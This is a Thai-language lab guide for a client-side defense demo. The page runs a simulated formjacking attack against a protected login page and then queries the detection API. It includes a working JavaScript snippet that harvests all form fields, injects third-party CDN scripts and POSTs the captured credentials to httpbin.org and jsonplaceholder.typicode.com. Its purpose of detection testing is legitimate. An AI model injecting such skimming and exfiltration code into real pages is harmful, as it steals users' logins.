ข้ามไปยังเนื้อหา

เฟส 2 — การโจมตี

เฟส 2 สร้างทราฟฟิกการโจมตีจำลองต่อแอปพลิเคชันที่ได้รับการป้องกัน และยืนยันว่า CSD ตรวจพบแล้ว เฟส 1 ต้องเสร็จสมบูรณ์ — การตรวจสอบทั้งหมดในขั้นตอนที่ 7 ต้องผ่าน — ก่อนดำเนินการต่อ

หลังจากตรวจสอบโครงสร้างพื้นฐานแล้ว (การตรวจสอบทั้งหมดในเฟส 1 ขั้นตอนที่ 7 ผ่าน) ให้รันสคริปต์จำลองการโจมตีเพื่อสร้างการตรวจจับ CSD สคริปต์ถูกกำหนดไว้ในคู่มือ Trigger Detection และ Attack Script Library

ผู้ช่วย AI ที่มีเครื่องมือการทำงานอัตโนมัติของเบราว์เซอร์จะรันการจำลองการโจมตีแบบโปรแกรม:

  1. นำทางด้วย initScript — ก่อนอื่นนำทางไปที่ about:blank เพื่อให้แน่ใจว่า document context สะอาด (หลีกเลี่ยง initScript ค้างจากการนำทางก่อนหน้า) จากนั้น navigate_page ไปที่ http://$F5XC_DOMAINNAME/#/login พร้อม initScript ที่บันทึก setInterval, clearInterval, fetch และ console.log แบบ native ก่อนที่ zone.js จะ patch เพื่อ poll ฟอร์มล็อกอิน กรอกข้อมูลประจำตัวผ่าน native HTMLInputElement.prototype.value setter และรัน Combined Detection Script แบบ inline ทันที ใช้ initScript ตามที่กำหนดด้านล่างทุกประการ
  2. ปิดแบนเนอร์ Welcomepress_key ด้วย Escape เพื่อปิดแบนเนอร์ Welcome ในการเยี่ยมชมครั้งถัดไป แบนเนอร์อาจไม่ปรากฏ (คุกกี้ถูกเก็บไว้) กล่องโต้ตอบความยินยอมคุกกี้จะถูกปิดโดยอัตโนมัติด้วยปุ่ม Escape
  3. รอให้เสร็จสมบูรณ์ — รอ 10 วินาทีเพื่อให้ callback การโหลด/ข้อผิดพลาดของสคริปต์ CDN ทั้งหมดและการ resolve Promise ของ fetch เสร็จสมบูรณ์
  4. เก็บหลักฐานlist_console_messages เพื่อตรวจสอบ [CSD Demo] Simulation complete และผลลัพธ์การโหลด CDN; list_network_requests ที่กรองตามประเภท script และ fetch เพื่อตรวจสอบรหัสสถานะ HTTP (200/201 สำหรับสำเร็จ, pending สำหรับคำขอที่ถูกระงับ)

Phase 2 initScript (ใช้ตามที่กำหนดทุกประการ):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

ผู้ดำเนินการที่ไม่มีเครื่องมือการทำงานอัตโนมัติของเบราว์เซอร์จะดำเนินการตามขั้นตอนด้วยตนเอง:

  1. นำทาง ไปที่หน้าล็อกอินของแอปพลิเคชันที่ได้รับการป้องกัน: http://xF5XC_DOMAINNAMEx/#/login
  2. ป้อนข้อมูลประจำตัวจำลอง — พิมพ์ test@example.com ในฟิลด์ Email และ P@ssword123 ในฟิลด์ Password (อย่ากดส่งฟอร์ม)
  3. เปิด DevTools — กด F12 และเปลี่ยนไปที่แท็บ Console
  4. รัน Combined Detection Script — วางสคริปต์จาก Trigger Detection — Run the Combined Simulation Script ลงใน console และกด Enter
  5. ตรวจสอบผลลัพธ์ console — ยืนยันว่าผลลัพธ์แบบเป็นเฟสของ [CSD Demo] แสดง: การเก็บเกี่ยวฟิลด์, การ inject สคริปต์จาก 4 โดเมน CDN และการ exfil ข้อมูลไปยัง 2 endpoint
สัญญาณพฤติกรรมการตรวจจับ
การเก็บเกี่ยวฟิลด์ฟอร์มอ่านค่า input email และ passwordสคริปต์ที่อ่านฟิลด์ฟอร์มที่ละเอียดอ่อน — ถูกตั้งค่าสถานะเป็นความเสี่ยงสูง
การ inject สคริปต์Inject แท็ก <script> 4 รายการจาก cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.ioตรวจพบโดเมนสคริปต์ third-party ใหม่สูงสุด 4 โดเมน (ความพร้อมใช้งาน CDN อาจแตกต่างกัน)
การ exfil ข้อมูลส่งข้อมูลที่เก็บเกี่ยวผ่าน fetch ไปยัง www.httpbin.org และ jsonplaceholder.typicode.comการเรียกเครือข่ายไปยังโดเมนภายนอก

ผู้ช่วย AI ควรรายงานสิ่งต่อไปนี้ สำหรับการรันอัตโนมัติโดย AI หลักฐานจะถูกเก็บรวบรวมแบบโปรแกรมผ่าน list_console_messages (ฟังก์ชัน polling ของ initScript จะบันทึกผลลัพธ์ไปยัง console) สำหรับการรันด้วยตนเอง ผู้ดำเนินการจะอ่านผลลัพธ์ console ของเบราว์เซอร์

การตรวจสอบที่คาดหวังสถานะ
โหลดหน้าล็อกอิน200 OK ที่ http://$F5XC_DOMAINNAME/#/loginผ่าน / ไม่ผ่าน
รันสคริปต์ console[CSD Demo] Simulation complete ในผลลัพธ์ consoleผ่าน / ไม่ผ่าน
ฟิลด์ที่เก็บเกี่ยวจำนวน > 0 ในผลลัพธ์ consoleผ่าน
สคริปต์ที่ inject1–4 โดเมน CDN ในผลลัพธ์ console (บางรายการอาจล้มเหลวด้วยข้อผิดพลาดทรัพยากร)ผ่านหากมีโดเมน CDN ใดก็ตามปรากฏ
ช่องทาง Exfilความพยายาม fetch POST 2 รายการในผลลัพธ์ consoleผ่าน

Query endpoint ของ CSD API เพื่อยืนยันว่าการตรวจจับปรากฏขึ้น ใช้ลูป polling: query /detected_domains ทุก 60 วินาที; ดำเนินการทันทีที่ DET-3 ผ่าน หาก DET-3 ไม่ผ่านหลังจาก 10 นาที ให้ตรวจสอบการกำหนดค่า CSD หาก DET-3 ไม่ผ่านหลังจาก 30 นาที ให้หยุดและรายงานต่อผู้ดำเนินการ endpoint เหล่านี้ถูกจัดทำเอกสารไว้ใน API Reference และใช้การพิสูจน์ตัวตนและ namespace เดียวกับขั้นตอนก่อนหน้า

Query สคริปต์ที่ตรวจจับได้ใน 24 ชั่วโมงที่ผ่านมา:

Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
ฟิลด์ที่คาดหวังสถานะ
total> 0 (ตรวจจับสคริปต์ได้)ผ่านหาก > 0; รอดำเนินการหาก 0 แต่ /detected_domains แสดงโดเมน exfil
ชื่อสคริปต์รวม CDN domains (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) ใน script_nameผ่านหากโดเมน CDN ที่ inject ปรากฏ
Terminal window
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
ฟิลด์ที่คาดหวังสถานะ
total_domains> 0ผ่านหาก > 0
รายการโดเมนรวม CDN และโดเมน exfilผ่านหากโดเมนที่คาดหวังปรากฏ
Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
ฟิลด์ที่คาดหวังสถานะ
total> 0ผ่านหาก > 0; รอดำเนินการหาก 0 แต่ DET-3 ผ่าน
nameรวม email, passwordผ่านหากฟิลด์ที่ละเอียดอ่อนปรากฏ
sensitivitySensitive สำหรับฟิลด์ email/passwordผ่านหาก ML จำแนกอย่างถูกต้อง

หลังจาก query การตรวจจับทั้งหมด ให้แสดงสถานะการตรวจจับขั้นสุดท้าย:

รหัสทดสอบการตรวจสอบสถานะ
DET-1ตรวจจับสคริปต์ได้ (endpoint /scripts)ผ่านหาก > 0; รอดำเนินการหากว่างแต่ DET-3 ผ่าน
DET-2ตรวจจับโดเมน CDN ได้ผ่าน / ไม่ผ่าน
DET-3ตรวจจับโดเมน exfil ได้ (/detected_domains)ตัวบ่งชี้หลัก — ผ่านหาก www.httpbin.org หรือ jsonplaceholder.typicode.com ปรากฏ
DET-4ตรวจจับฟิลด์ฟอร์มได้ (endpoint /formFields)ผ่านหาก > 0; รอดำเนินการหากว่างแต่ DET-3 ผ่าน

เฟส 2 เสร็จสมบูรณ์ ดำเนินการไปยัง เฟส 3 — การบรรเทาผลกระทบ เพื่อใช้กฎการบรรเทาผลกระทบและยืนยันว่าโดเมนถูกบล็อก